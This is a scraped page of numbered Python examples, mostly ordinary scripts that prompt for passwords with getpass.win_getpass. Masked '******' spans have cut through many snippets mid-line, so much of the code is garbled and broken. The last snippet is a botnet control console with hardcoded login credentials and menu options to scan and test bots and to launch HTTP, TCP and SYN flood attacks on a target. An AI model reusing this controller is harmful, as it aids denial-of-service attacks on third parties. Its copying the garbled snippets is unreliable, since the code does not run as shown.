Ejemplo n.º 1
0
 def update_config(self):
     self.username = input("Mailer username: "******"Enter password: "******"linux" else getpass.win_getpass("Enter password: "******"Send to e-mail: ")
     self.noip_username = input("No-ip username: "******"Enter No-ip password: "******"linux" else getpass.win_getpass(
         "Enter No-ip password: "******"No-ip hostname: ")
     self.config["nodemailer"] = {
         "username": self.username,
         "password": self.password,
         "send_to": self.send_to
     }
     self.config["noip"] = {
         "username": self.noip_username,
         "password": self.noip_password,
         "hostname": self.noip_hostname
     }
     with open(self.config_path, "w") as configfile:
         self.config.write(configfile)
         configfile.close()
Ejemplo n.º 2
0
def get_conn_args():
    """ Here we will gather connection arguments that \n""" \
    """ will be used when connecting to WLC.          \n""" \
    """ IP/hostname, Username, Password               \n"""
    import getpass
    global connArgs
    global savedCredentials
    global forAPI
    print("*********************************************************")
    print("* Dino | SSH ConneX                                     *")
    print("*********************************************************")
    print("* Lets gather info for the WLC we will connect to...    *")
    if forAPI == False:
        connArgs = {
            "ip": input("* Enter IP/Hostname of WLC: "),
            "user": input("* Enter username-'must have priv15' :"),
            "pass": getpass.win_getpass("* Enter password: "******"*********************************************************")
        print("* WLC Hostname/IP: " + connArgs["ip"])
        print("* Username: "******"user"])
        choice = 0
        print("*           [1] Yes | [2] No or Ctrl-C to quit          *")
        print("*********************************************************")
    elif forAPI == True:
        connArgs = {
            "user": input("* Enter username-'must have priv15' :"),
            "pass": getpass.win_getpass("* Enter password: "******"*********************************************************")
        print("*")  # WLC Hostname/IP: " + connArgs["ip"])
        print("* Username: "******"user"])
        choice = 0
        print("*           [1] Yes | [2] No or Ctrl-C to quit          *")
        print("*********************************************************")
    choice = int(input(" Is the above connection info correct? "))
    while correct == False:
        if choice == 1:
            correct = True
            savedCredentials = True
            return connArgs
        elif choice == 2:
            main2()
            break
        else:
            print("Invalid choice. Please try again or ctrl-c to exit")
            get_connArgs()
def getpassword(prompt):
	if platform.system() == "Linux":
		return getpass.unix_getpass(prompt=prompt)
	elif platform.system() == "Windows" or platform.system() == "Microsoft":
		return getpass.win_getpass(prompt=prompt)
	else:
		return getpass.getpass(prompt=prompt)
Ejemplo n.º 4
0
def API_creds():
    #Check is a `credentials.json` exists in local directory for the Client id/secret needed to get the bearer token.
    if os.path.isfile('./credentials.json'):
        with open('credentials.json', 'r') as vf_file_creds:
            vf_json_creds = json.load(vf_file_creds)
        try:
            vf_str_username = vf_json_creds['CLIENT_ID']
            vf_str_password = vf_json_creds['CLIENT_SECRET']
        except:
            print(
                'Credentials file found but not in correct format.  Falling back to manual entry'
            )
    #If there is no local credentials file, it prompts you.  FYI, getpass doesn't seem to work well in Windows.
    else:
        vf_str_username = input('email: ')
        if sys.platform.lower() == "win32":
            vf_str_password = getpass.win_getpass(prompt='key: ')
        else:
            vf_str_password = getpass.getpass(prompt='key: ')
    vf_dict_headers = {
        'X-Auth-Email': vf_str_username,
        'X-Auth-Key': vf_str_password,
        'Content-Type': "application/json",
    }
    return (vf_dict_headers)
def main():
     mode = raw_input('\nMode: "e" for encrypt, "d" for decrypt > ')[0]
     if mode == 'e':
          end = 'ENCRYPTED'
     elif mode == 'd':
          end = 'DECRYPTED'
     else:
          print '>>>Did you type in the correct mode????<<<'
          main()
          
     toProcess = raw_input(('Enter the sentence to be '+end+' > '))
     pwd = getpass.win_getpass('ENTER PASSWORD *will not be seen as you type* > ')

     processed = ''
     letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ,abcdefghijklmnopqrstuvwxyz.\"\\ 0123456789!#/=@$\'%&:+-;*?'
     lenPwd = len(pwd)

     for counter in range(len(toProcess)):
          pwd += pwd[counter]
          if counter == lenPwd:
               counter = 0
          
     for index in range(len(toProcess)):
          encryptedLetters = letters[letters.index(pwd[index]):] + letters[:letters.index(pwd[index])]
          if mode == 'e':
               processed += encryptedLetters[letters.index(toProcess[index])]
          elif mode == 'd':
               processed += letters[encryptedLetters.index(toProcess[index])]

     print "\n"+end+' sentence: ',`processed`
     raw_input()
     main()
Ejemplo n.º 6
0
        def emailidchecker():
            mouth.speak("Please register your email Id")
            nonlocal my_mail_id
            my_mail_id = input('Please register your email Id :\n').lower()
            if "@" not in my_mail_id:
                mouth.speak(f"@ is missing in your {my_mail_id}")
            elif "." not in my_mail_id:
                mouth.speak(f" dot is missing in your {my_mail_id}")
            else:
                """ willsave the email Id to csv file"""
                mouth.speak(f" Perfect,  your mail id is set to {my_mail_id}")
                """get password without echoing"""

                mouth.speak("please enter password :"******"Please enter password \
                (password will not echoed):")

                details = [my_mail_id.lower(), pa]
                try:
                    with open('cred.csv', 'a+', newline='') as file:
                        csv_writer = csv.writer(file)
                        csv_writer.writerow(details)
                        mouth.speak(f"{details[0]} Id is successfully set as"
                                    f" your default sender")
                except:
                    print("Something went wrong while saving credentials")
                    mouth.speak(
                        f"I could not add {details[1]} id , something wrong with file"
                    )
                finally:
                    file.close()
                print("valid")
Ejemplo n.º 7
0
def get_conn_args():
    """ Here we will gather connection arguments that \n""" \
    """ will be used when connecting to WLC.          \n""" \
    """ IP/hostname, Username, Password               \n"""
    import getpass
    global connArgs
    global savedCredentials
    print("Lets gather info for the WLC we will connect to....")
    connArgs = {
        "ip": input("Enter IP/Hostname of WLC: "),
        "user": input("Enter username-'must have priv15' :"),
        "pass": getpass.win_getpass("Enter password: "******"WLC Hostname/IP: " + connArgs["ip"] + " | Username: "******"user"])
    choice = 0
    choice = int(
        input("Is the above connection info correct? 1=Yes, 2=No  : "))
    while correct == False:
        if choice == 1:
            correct = True
            savedCredentials = True
            return connArgs
        elif choice == 2:
            main2()
            break
        else:
            print("Invalid choice. Please try again or ctrl-c to exit")
            get_connArgs()
Ejemplo n.º 8
0
def getpassword(prompt):
    if platform.system() == "Linux":
        return getpass.unix_getpass(prompt=prompt)
    elif platform.system() == "Windows" or platform.system() == "Microsoft":
        return getpass.win_getpass(prompt=prompt)
    else:
        return getpass.getpass(prompt=prompt)
Ejemplo n.º 9
0
def get_password():
    os_name = os.name  # current 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
    if os_name == 'nt':  # Windows
        return (getpass.win_getpass('linux password: '******'posix':  # Linux
        return (getpass.getpass('linux password: '******'t care about the others
        raise Exception("Only supported on windows and linux")
Ejemplo n.º 10
0
def run():
    global keyvar
    global keymod
    keyvar = getpass.win_getpass(prompt='Input Encryption Key: ', stream=None)
    x = len(keyvar)
    keymod = 32 - x
    if keymod == 0:
        pass
    else:
        var_recursive(x)
Ejemplo n.º 11
0
def enregistrement_utilisateur(sel_fixe_eu, fichier_eu, u=getpass.getuser()):

    try:
        p = getpass.win_getpass()
        sel = u + sel_fixe_eu
        mdp_sale = p + sel
        mdp_sale_hach = hashlib.sha512(mdp_sale.encode()).hexdigest()
    except Exception as error:
        print("Error : ", error)
    else:
        fichier_eu.write(u + "," + mdp_sale_hach + "\n")
Ejemplo n.º 12
0
def plugin_check(scanners):
  user = getpass.getuser() #This worok on Windows as long as USERNAME is set
  #user = ''
  password = getpass.win_getpass(prompt='Please enter your password: '******'loaded_plugin_set']
  print scan.ver_plugins
  return scan
Ejemplo n.º 13
0
def auth():
    """
    this is the main authentication variables used by paramiko in mylibs.py
    :returnh
    """
    # credentials pased to be used in paramiko class.
    # username = os.environ['USER']  # get current user in os environment variable.
    # here we are defining an attribute for auth so we can use them insdie the Remote class.
    # simply returning it does not make the variable available on other functions unless if you pass it as an argument.
    # this makes it less code since we only define credentials when calling the class x.Remote.
    if sys.platform == 'linux' or sys.platform == 'linux2':
        auth.username = os.environ['USER']
        auth.password = getpass.getpass('Password: '******'HOME') + '.ssh/id_rsa')
    elif sys.platform == 'win32':
        auth.username = getpass.win_getpass('Username: '******'Password:'******'public key: ')
    else:
        Print(f'Unknown operating system {sys.platform}')
Ejemplo n.º 14
0
 def __init__(self, dsn, usr=None, psw=None):
     self.cnn = None
     self.dsn = dsn
     #print dsn,usr,psw
     if usr:
         self.uid = usr
     else:
         self.uid = raw_input("dbase user name>")
     if psw:
         self.pwd = psw
     else:
         import getpass
         self.pwd = getpass.win_getpass("password>")
     self.open()
Ejemplo n.º 15
0
 def __init__(self, url='http://jenkins.iscs.com.cn/'):
     """
     ISCS default Jenkins address.
     :param url:
     :type url:
     """
     if sys.version_info < (3, 6, 0):
         username = raw_input('Enter your jenkins username:'******'Enter your jenkins username')
     if sys.platform == 'win32':
         password = getpass.win_getpass()
     else:
         password = getpass.unix_getpass()
     self.server = jenkins.Jenkins(url, username, password)
     logger.debug('Connect to Jenkins successfully.')
     pass
Ejemplo n.º 16
0
def add_passwords():
    data = []
    newdata = []
    pw_file_r = open(basefolder + 'pickle.txt', 'rb')
    while True:
        try:
            data.append(pickle.load(pw_file_r))
        except EOFError:
            break
    pw_file_r.close()

    pwordN = int(input('Enter the number of devices to name: '))
    for i in range(pwordN):
        raw = input('Enter device name ' + str(i) + ' : ')
        newdata.append(raw)

    for x in newdata:
        global keyvar
        data.append(x)
        pw_file_w = open(basefolder + 'pickle.txt', 'ab')
        pickle.dump(x, pw_file_w)
        pw_file_r.close()
        newpass = getpass.win_getpass(
            prompt='Enter the password for the device ' + x + ': ',
            stream=None)
        newpass_to_bytes = bytes(newpass, 'utf-8')
        key = base64.urlsafe_b64encode(bytes(keyvar, 'utf-8'))
        cipher_suite = Fernet(key)
        ciphered_text = cipher_suite.encrypt(newpass_to_bytes)
        db_update = shelve.open(basefolder + 'device_shelf.db')
        try:
            db_update[x] = ciphered_text
        finally:
            db_update.close()

    restart = input('Do you want to restart the program? [Yes/No]: ')
    if restart == 'Yes':
        frun()
    else:
        pass
Ejemplo n.º 17
0
def update_config(cfg, cfg_path):
	global username, password, reg_caption, bnw_caption, logger, text_caption
	if exists(cfg_path):
		cfg.read(cfg_path)
		if "credentials" not in cfg:
			logger.log("Bad config file")
			raise SystemExit
		else:
			if "username" not in cfg["credentials"] or "password" not in cfg["credentials"]:
				logger.log("Bad config file")
				raise SystemExit

		username = cfg["credentials"]["username"]
		password = cfg["credentials"]["password"]
		if username == "":
			username = input("Username: "******"Account  - '%s'" % username)
		if password == "":
			if platform == "win32":
				password = getpass.win_getpass("Password: "******"Password: "******"Password - '%s'" % "".join(["*" for _ in password]))
		if "caption" in config:
			if "text" in config["caption"]:
				text_caption = config["caption"]["text"]
			if "bnw" in config["caption"]:
				bnw_caption = " ".join(["#" + tag for tag in config["caption"]["bnw"].split(" ")])
			if "reg" in config["caption"]:
				reg_caption = " ".join(["#" + tag for tag in config["caption"]["reg"].split(" ")])
			logger.log("Updated tags from config file")
	else:
		username = input("Username: "******"credentials"] = {
			"username": username,
			"password": password
		}
		with open(cfg_path, "w") as configfile:
			cfg.write(configfile)
Ejemplo n.º 18
0
def download(names, folders, format_out, todir):
  global current_time
  user = getpass.getuser() #This worok on Windows as long as USERNAME is set
  #user = ''
  password = getpass.win_getpass(prompt='Please enter your password: '******'csv'

  #print "folders", folders
  #print "format_out", format_out
  #print scan.res['scans']
  scan_names = [ n['name'].lower() for n in scan.res['scans'] ]
  print scan_names
  for s in scan.res['scans']:
    vlan = s['name'].lower().split(' ')
    print('vlan id', vlan[0], "typed vlan names", names)
    details = scan.scan_details(s['name'])
    print "details", details
    #print "Scan results", s, "folder id", s['folder_id'], "folders", folders
    if s['folder_id'] in folders or vlan[0] in names:
      try:
        scan.scan_name = s['name']
        scan.scan_id = s['id']

        details = scan.scan_details(s['name'])
        print "details", details
        csv_nessus = scan.download_scan(export_format=format_out)
        fp = open('%s_%s_%s.%s'%(scan.scan_name,scan.scan_id,current_time,format_out), 'wb' )
        fp.write(csv_nessus)
        fp.close()
      except UnicodeEncodeError:
        pass
 def __init__(self):
     self.name = getpass.getuser()
     print('user name: \t', self.name)
     print('password is required to create task in windows task scheduler')
     self.password = getpass.win_getpass()
Ejemplo n.º 20
0
import getpass
import mysql.connector
from mysql.connector import Error
import os

username_str = input("Enter your username: "******"Enter db name: ")

conn = None


def initialize_connection():
    try:
        global conn
        conn = mysql.connector.connect(host='localhost',
                                       user=username_str,
                                       password=password_str)
        print("connection successful")
        if conn.is_connected():
            sql = f'CREATE DATABASE IF NOT EXISTS {db_name}'
            conn.cursor().execute(sql)
            print(f"{db_name} created successfully")
            return conn
    except Error as connection_error:
        print("connection failed due to connection error", connection_error)


def close_connection():
    if conn is not None and conn.is_connected:
        conn.close()
Ejemplo n.º 21
0
        # 写入文件
        with open('./' + filename + '/' + str(pic_num + continue_num) + '.jpg',
                  'wb') as f:
            f.write(res.content)
        print(pic_num + 1, '/', len(img_url_list), 'are done!')
        pic_num += 1
    os.remove('./temp.txt')
    with open('./' + filename + '/num', 'w') as f:
        f.write(str(pic_num + continue_num))
    print('All done!')


# Login guide
print('---Sign in Pixiv---')
username = str(input('Username: '******'Password(invisible): ')

# Simulate login
res = login(username, password)
if res.status_code == 200:
    print('Login successfully!')
    print('-------------------')

    while True:
        # Search settings
        keyword = str(input('Search(ENG and Num only): '))
        page_num = int(input('To page: '))
        filename = str(input('Save to: '))
        headers = {
            'accept':
            'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
Ejemplo n.º 22
0
 def update_event(self, inp=-1):
     self.set_output_val(0, getpass.win_getpass(self.input(0),
                                                self.input(1)))
Ejemplo n.º 23
0
 def __init__(self):
     self.name = getpass.getuser()
     print('user name: \t', self.name)
     print('password is required to create task in windows task scheduler')
     self.password = getpass.win_getpass()
import requests
import sys
import re
import os
import time
import threading
import xml.etree.ElementTree as xml
import getpass
import argparse

vCloudUrl = "https://api.vcd.portal.skyscapecloud.com"

user = raw_input("Please enter you API username: "******"nt":
    pwd = getpass.win_getpass()
else:
    pwd = getpass.getpass(prompt="Please enter your password:"******"Accept": "application/*+xml;version=5.5"}
exitFlag = 0


def vcdLogin(vCloudUrl, username, password):
    r = requests.post(vCloudUrl + "/api/sessions", auth=(user, pwd), headers=headers)
    token = r.headers.get("x-vcloud-authorization")
    if not token:
        print("Couldn't login please try again.")
        sys.exit(1)
    return token
Ejemplo n.º 25
0
    type=str,
    help=
    "Путь к файлу инсталлера для получения контрольной суммы и занесения соответствующего значения в протокол"
)

args = parser.parse_args()

project = args.project
version = args.version

user = args.redminelogin
pswd = args.redminepassword
if (user == None):
    user = getpass.getuser()
if (pswd == None):
    pswd = getpass.win_getpass()

redmine = RedmineWrapper()
redmine.connect(user, pswd)
issues = redmine.getIssues(project, version)
if not issues:
    print('Проект с заданными параметрами не найден')
    pass

report = ReportCreator()
report.Project = project
report.Version = version
report.DocxSource = args.docxsource
report.DocxDestination = args.docxdestination
if (report.DocxDestination == None):
    report.DocxDestination = 'Протокол тестирования ' + project + ' v.' + version + ".docx"
Ejemplo n.º 26
0
#Replacement Cypher
import getpass

alphabet = "abcdefghijklmnopqrstuvwxyz"
newAlphabet = "zyxwvutsrqponmlkjihgfedcba"

message = getpass.win_getpass("Enter a secret message: ")

newMessage = ""
for letter in message:
    index = alphabet.find(letter.lower())
    if (index == -1):
        newMessage += letter
    else:
        newLetter = newAlphabet[index]
        newMessage += newLetter

print("Your new message is: " + newMessage)
Ejemplo n.º 27
0
import datetime
import string
import time
import os
import subprocess
import getpass
import sys

meta_name = "metadata"
fileName = "Test_results.csv"

myTime = time.time()

username = raw_input('linux username: '******'linux password: '******'r')
except:
    print "Cannot open test results file" + fileName
    quit()

# First part of file should be like:
#Test,Pass/Fail,Comments
#Metadata,,
#Tester,Phin Yeang,
#Datetime,"August 9, 2016",
#Product,Limo_mfp unit# B516 (lp3 limo mfp),
#FirmwareURL,@http://peftech.vcd.hp.com/pws-external/UTC_2016-08-09_14_30/limo_lp3/,
#Test Cases Passed,52,
#! /usr/bin/python2
from __future__ import print_function

import getpass
import sys

user = getpass.getuser()
password = getpass.win_getpass("Paassword: ")
print(user,password)
Ejemplo n.º 29
0
#print "Squareit of", z, "is", squareit(z)
#    host = "localhost"
#password = getpass.getpass(prompt='Enter password for {}: '.format(username), stream=sys.stderr)
#    password = "******"
#    print ("Enter below your LDAP password")

    jiraurl = "https://jiraops.mdev.corp-apps.com"

    r = requests.get(jiraurl)
    if r.status_code == 200 or r.status_code == 304:
        print "Status code:", r.status_code
    # we dont want to get a page
    #    print "Text:", r.text
        print "Header:", r.headers
        print "Cookies", r.cookies

    else:
        print "Status code", r.status_code, "is not 200"
        exit(-1)


    username = getpass.getuser()
    print "Using user [", username, "] for current JIRA session"
    password = getpass.win_getpass()

    myjirasession = jiraSession(jiraurl, username, password)
    print myjirasession

# Search for existing issues
    issues = jiraJqlIssues(jiraurl, myjirasession, 'create')
    print issues
Ejemplo n.º 30
0
# to use for getting information about your undelying howrdware and component (architectural information)
import platform

# or import platform as pt
# print(dir(platform))   # to get all the available functions for module platform
# print(help(platform))  # print platfomr module documentation
print(platform.system())  # operating system
print(platform.processor())  # processor
print(platform.python_build())
print(platform.platform())  # multiple information
print(platform.architecture())
print(platform.node())

# Getpass module - it helps gettin user and password from user in a secure manner

import getpass

# print(dir(getpass))
# print(help(getpass))

print(getpass.getuser())  # get userid from environment variables
my_pass = getpass.win_getpass(
)  # promptuser for password in windows in secure way
print("my passwod is:", my_pass)  # print password
my_pass(
    getpass.getpass(prompt="give me your db password:"))  # to customize prompt
Ejemplo n.º 31
0
    ######################################
    Log().file_config(args.logging_config)
    logger = Log().getLogger()
    # print out debug data
    logger.info("FritzCap version %s started." % fritzcap_version)
    if (logger.isEnabledFor(logging.DEBUG)):
        logger.debug("Command line parameters: " + str(sys.argv))
        logger.debug("Parsed parameters:       " + str(args))

    # take the password data from the command line
    if (args.capture_files or args.show_interfaces) and (
            args.password is None) and login_required:
        platform_system = platform.system()
        if (platform_system == "Windows"):
            signal.signal(signal.SIGINT, signal_handler)
            args.password = getpass.win_getpass("Enter the FritzBox password:"******"Linux") or (platform_system == "Darwin")):
            signal.signal(signal.SIGINT, signal_handler)
            args.password = getpass.unix_getpass(
                "Enter the FritzBox password:"******"Need a password, but don't know how to ask as unknown platform: %s"
                % platform.system())

    ######################################
    ### show the interfaces            ###
    ######################################
    interfaces_dumper = None
    if (args.show_interfaces is not None):
        nothing_to_do = False
Ejemplo n.º 32
0
# Getpass works fine in command shell, but not in Pycharm.
#

import getpass
newPass = getpass.win_getpass("Password")
print(f'Your password is {newPass}.')

print('Hello there.  This is a '
      'very, very long line that \n'
      'I don\'t know when to stop.')
Ejemplo n.º 33
0
# option headless untuk menjalankan chrome driver tanpa terbuka window chrome
# options = Options()
# options.headless = True

#nngecek ada apa ga chrome drivernya
try:
    driver = webdriver.Edge()
except WebDriverException:
    raise
    quit()

#input email dan password user
print("Input your username: "******"Input your password: "******"input[type='text']").send_keys(user_name)
driver.find_element_by_css_selector("input[type='password']").send_keys(password)
driver.find_element_by_css_selector("input[type='submit']").click()

#webdriverwait ini nunggu kalau css selector tersebut udah muncul di layar (soalnya loading bimay async), kalau lewat 30 detik bakal throw exception
try:
    WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.CSS_SELECTOR, "ul[id='widget-current-courses'] li a")))
except TimeoutException:
    print("Loading took too long!")
    driver.quit()
    quit()

#ngambil link" courses pada homepage dengan module beautiful soup lalu dimasukin ke list
bimay_level1 = BeautifulSoup(driver.page_source, 'html.parser')
Ejemplo n.º 34
0
        if args.resume is None:
            print('Auto apply requires a link to your resume or CV')
            sys.exit(1)
        else:
            autoapply = True
            print('Auto apply is enabled')
    else:
        autoapply = False
        print('Auto apply is disabled')

    firstname = raw_input("First name: ")
    lastname = raw_input("Last name: ")
    username = raw_input("User name: ")
    useremail = raw_input("Email: ")
    if not re.match(r"[^@]+@[^@]+\.[^@]+", useremail):
        print("Invalid email address")
        sys.exit(1)

    password = getpass.win_getpass("User password: "******"[^@]+@[^@]+\.[^@]+", useremail):
        print("Invalid email address")
        sys.exit(1)

    ListJobs = JobHunt(firstname, lastname, username, useremail, password,
                       args.keyword, autoapply)
    ListJobs.scan_jobsite()
Ejemplo n.º 35
0
from jira import JIRA
import getpass

if __name__ == "__main__":

    jiralogin = "******"
    jirapass = getpass.win_getpass()

    options = { 'server': "https://jiraops.mdev.corp-apps.com" }

    try:
        jira = JIRA(options, auth=(jiralogin, jirapass))
        print "Jira object is [", jira, "]"
    except:
        print "\nJira auth failed. No session was created\n"

    #try:
        #projects_list = jira.pr
    #    for i in projects_list:
    #        print i
    #except:
    #    print "Error: Exception on projects list."

    #myito = "ITO-98297"
    #issue = jira.issue(myito)
    #print issue
    #print issue.fields

    #text = "Just text for comment"
    #try:
    #    comment_issue = jira.add_comment(myito, text)
Ejemplo n.º 36
0
    def __init__(self):
        if "--remote" in argv:
            self.remote = True
        if "--clean" in argv:
            self.clean = True

        if exists(self.config_path_home):
            self.config.read(self.config_path_home)
        elif exists(self.config_path):
            self.config.read(self.config_path)

        if exists(self.config_path_home) or exists(self.config_path):
            if platform not in self.config.keys():
                raise SystemExit("Invalid config file")
            if "src" not in self.config[platform].keys(
            ) or "dest" not in self.config[platform].keys():
                raise SystemExit("Invalid config file")
            self.src_dir = self.config[platform]["src"]
            dest_dir = self.config[platform]["dest"]
            if dest_dir.endswith(basename(self.src_dir)):
                self.dest_dir = dest_dir
            else:
                self.dest_dir = join(self.config[platform]["dest"],
                                     basename(self.src_dir))

        if "-f" in argv:
            try:
                path = argv[argv.index("-f") + 1]

                if isabs(path):
                    self.src_dir = path
                else:
                    self.src_dir = join(getcwd(), self.format_path(path))

                if "shortcuts" in self.config.keys():
                    if path in self.config["shortcuts"]:
                        self.src_dir = self.config["shortcuts"][path]
            except IndexError:
                print("Invalid source argument")

        if "-d" in argv:
            try:
                path = argv[argv.index("-d") + 1]

                if isabs(path):
                    self.dest_dir = join(path, basename(self.src_dir))
                else:
                    self.dest_dir = join(getcwd(), self.format_path(path))

                if "shortcuts" in self.config.keys():
                    if path in self.config["shortcuts"]:
                        self.dest_dir = join(self.config["shortcuts"][path],
                                             basename(self.src_dir))
            except IndexError:
                print("Invalid source argument")

        if self.remote:
            if "-d" not in argv:
                self.src_dir = self.config[platform]["src"]
                dest_dir = self.config["remote"]["dest"]

                if dest_dir.endswith(basename(self.src_dir)):
                    self.dest_dir = dest_dir
                else:
                    self.dest_dir = join(self.config["remote"]["dest"],
                                         basename(self.src_dir))

            if len(self.config["remote"]["hostname"]) == 0:
                self.hostname = input('Hostname:')
            else:
                self.hostname = self.config["remote"]["hostname"]

            if len(self.config["remote"]["username"]) == 0:
                self.username = input('Username:'******'Password:'******'win32' else getpass.unix_getpass('Password:'******'Invalid source dir')
        if len(self.dest_dir) == 0:
            raise SystemExit('Invalid destination dir')

        print(f'Source      {self.src_dir}')
        if self.remote:
            print(
                f'Destination {self.username}@{self.hostname}:{self.dest_dir}')
        elif not self.clean:
            print(f'Destination {self.dest_dir}')
        elif self.clean:
            if "delete" not in self.config.keys():
                raise SystemExit("Invalid delete config")
            elif "files" not in self.config["delete"].keys(
            ) and "folders" not in self.config["delete"].keys():
                raise SystemExit("Invalid delete config")
            elif len(self.config["delete"]["files"]) == 0 and len(
                    self.config["delete"]["folders"]) == 0:
                raise SystemExit("Invalid delete config")
            print("Cleaning selected directory")
        answer = ''
        possible_answers = ['Y', 'y', 'N', 'n']
        while answer not in possible_answers:
            answer = input('Proceed? (Y/N) ')

        if answer.upper() == "Y":

            if self.clean:
                if "delete" not in self.config.keys():
                    raise SystemExit("Invalid delete config")
                elif "files" not in self.config["delete"].keys(
                ) and "folders" not in self.config["delete"].keys():
                    raise SystemExit("Invalid delete config")
                elif len(self.config["delete"]["files"]) == 0 and len(
                        self.config["delete"]["folders"]) == 0:
                    raise SystemExit("Invalid delete config")
                self.clean_files(self.src_dir)
            elif self.remote:
                self.files_total = self.count_files(self.src_dir)
                self.make_dest_dir()
                self.connect()
            else:
                self.files_total = self.count_files(self.src_dir)
                self.make_dest_dir()
                self.backup_files(self.src_dir)
                answer = ""
                while answer not in possible_answers:
                    answer = input("\nDo you want to clean dest dir? (Y/N) ")
                if answer.upper() == "Y":
                    self.rm_old(self.dest_dir)
                else:
                    raise SystemExit("Bye!")
        else:
            raise SystemExit('Bye!')
Ejemplo n.º 37
0
def main():
    global command
    tcp_msg = http_msg
    syn_msg = http_msg
    login = str(input('login: '******'sean960730':
        logins = True
    else:
        sys.exit()
    password = getpass.win_getpass(stream='*')
    if password == 'sean960730botnet':
        passw = True
    else:
        sys.exit()
    open_list()
    interface = '''
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    =======================WELCOME TO BOTNET==========================='
    ONLINE: 0              TOTAL:%s                                    
    STATUS:WAIT            
    options:
            1> scan bot
            2> test bot
            3> http_flood
            4> tcp flood
            5> syn flood
            6> pusher test
    # Windows just can use http_flood
    # If you want use other options 
    # You can use subsystem for linux
    ''' % (len(lis))
    print(interface)
    command = str(input('>'))
    while 1:
        if command == str(1):
            s_key = str(input('Scan key :'))
            while 1:
                scan_bot(s_key)
            interface = '''
        +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        =======================WELCOME TO BOTNET==========================='
        ONLINE: %s             TOTAL:%s                                    
        STATUS:%s
        options:
               1> scan bot
               2> test bot
               3> http_flood
               4> tcp flood
               5> syn flood
               6> pusher test
        # Windows just can use http_flood
        # If you want use other options 
        # You can use subsystem for linux
        ''' % (num, len(b_l), status)
            print(interface)
        elif command == str(2):
            while 1:
                test_bot(login, password, str(input('Test key :')))
                interface = '''
          +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
          =======================WELCOME TO BOTNET==========================='
          ONLINE: 0              TOTAL:%S                                    
          STATUS:WAIT            
          options:
                  1> scan bot
                  2> test bot
                  3> http flood
                  4> tcp  flood
                  5> syn  flood
                  6> check host
          # Windows just can use http_flood
          # If you want use other options 
          # You can use subsystem for linux''' % (num, len(b_l), status)
        elif command == str(3):
            while 1:
                http_flood(str(input('Target >')))
                if len(n) == len(b_l):
                    break
            http_msg()
        elif command == str(4):
            if platform.system() != 'Windows':
                while 1:
                    tcp_flood(str(input('Target >')), int(input('Port >')))
                    if len(t) == len(b_l):
                        break
                tcp_msg()
        elif command == str(5):
            if platform.system() != 'Windows':
                while 1:
                    target = str(input('Target $'))
                    syn_flood(target, int(input('Port >')))
                    if len(sy) == len(b_l):
                        break
                syn_msg()
        elif command == '6':
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                sock.connect((str(input('Target #')), int(input('Port #'))))
                print('Attack field')
            except:
                print('Attack successfuly')
                sock.close()
        elif command == 'q':
            print('logout')
            while 1:
                sock = socke.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((random.choice(b_l), 55386))
                sock.send('logout?act=%s')
                sock.close()
            print('close all connection', flush=True, end='')
            for i in range(4):
                print('.', end='')